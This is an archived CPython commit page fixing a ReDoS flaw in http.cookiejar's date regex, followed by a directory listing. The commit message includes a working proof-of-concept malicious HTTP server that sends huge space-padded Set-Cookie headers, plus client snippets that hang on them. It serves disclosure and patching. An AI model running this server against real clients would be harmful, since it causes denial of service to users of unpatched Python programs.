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v0.5.1
v0.5.1
https://github.com/python/cpython
Revision 55a6a16a46239a71b635584e532feb8b17ae7fdf authored by Victor Stinner on 03 April 2020, 01:37:32 UTC, committed by GitHub on 03 April 2020, 01:37:32 UTC
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) # Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 # Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): # Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") * Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. * Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was. (cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e) Co-authored-by: bcaller <bcaller@users.noreply.github.com>
1 parent ed07522
Tip revision: 55a6a16a46239a71b635584e532feb8b17ae7fdf authored by Victor Stinner on 03 April 2020, 01:37:32 UTC
bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17344)
bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17344)
Tip revision: 55a6a16
File | Mode | Size |
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clinic | ||
stringlib | ||
README | -rw-r--r-- | 41 bytes |
abstract.c | -rw-r--r-- | 71.4 KB |
accu.c | -rw-r--r-- | 2.4 KB |
boolobject.c | -rw-r--r-- | 6.5 KB |
bytearrayobject.c | -rw-r--r-- | 94.0 KB |
bytes_methods.c | -rw-r--r-- | 8.8 KB |
bytesobject.c | -rw-r--r-- | 109.3 KB |
capsule.c | -rw-r--r-- | 7.2 KB |
cellobject.c | -rw-r--r-- | 4.8 KB |
classobject.c | -rw-r--r-- | 18.7 KB |
codeobject.c | -rw-r--r-- | 24.4 KB |
complexobject.c | -rw-r--r-- | 31.4 KB |
descrobject.c | -rw-r--r-- | 54.0 KB |
dict-common.h | -rw-r--r-- | 548 bytes |
dictnotes.txt | -rw-r--r-- | 6.0 KB |
dictobject.c | -rw-r--r-- | 119.4 KB |
enumobject.c | -rw-r--r-- | 12.7 KB |
exceptions.c | -rw-r--r-- | 85.6 KB |
fileobject.c | -rw-r--r-- | 15.4 KB |
floatobject.c | -rw-r--r-- | 65.9 KB |
frameobject.c | -rw-r--r-- | 32.3 KB |
funcobject.c | -rw-r--r-- | 30.4 KB |
genobject.c | -rw-r--r-- | 37.4 KB |
iterobject.c | -rw-r--r-- | 9.1 KB |
listobject.c | -rw-r--r-- | 86.3 KB |
listsort.txt | -rw-r--r-- | 34.9 KB |
lnotab_notes.txt | -rw-r--r-- | 5.3 KB |
longobject.c | -rw-r--r-- | 160.8 KB |
memoryobject.c | -rw-r--r-- | 89.3 KB |
methodobject.c | -rw-r--r-- | 11.2 KB |
moduleobject.c | -rw-r--r-- | 22.1 KB |
namespaceobject.c | -rw-r--r-- | 7.3 KB |
object.c | -rw-r--r-- | 56.8 KB |
obmalloc.c | -rw-r--r-- | 78.0 KB |
odictobject.c | -rw-r--r-- | 76.4 KB |
rangeobject.c | -rw-r--r-- | 37.5 KB |
setobject.c | -rw-r--r-- | 70.4 KB |
sliceobject.c | -rw-r--r-- | 19.2 KB |
structseq.c | -rw-r--r-- | 12.9 KB |
tupleobject.c | -rw-r--r-- | 29.8 KB |
typeobject.c | -rw-r--r-- | 228.9 KB |
typeslots.inc | -rw-r--r-- | 3.9 KB |
typeslots.py | -rwxr-xr-x | 1.2 KB |
unicodectype.c | -rw-r--r-- | 7.5 KB |
unicodeobject.c | -rw-r--r-- | 449.9 KB |
unicodetype_db.h | -rw-r--r-- | 229.3 KB |
weakrefobject.c | -rw-r--r-- | 29.5 KB |
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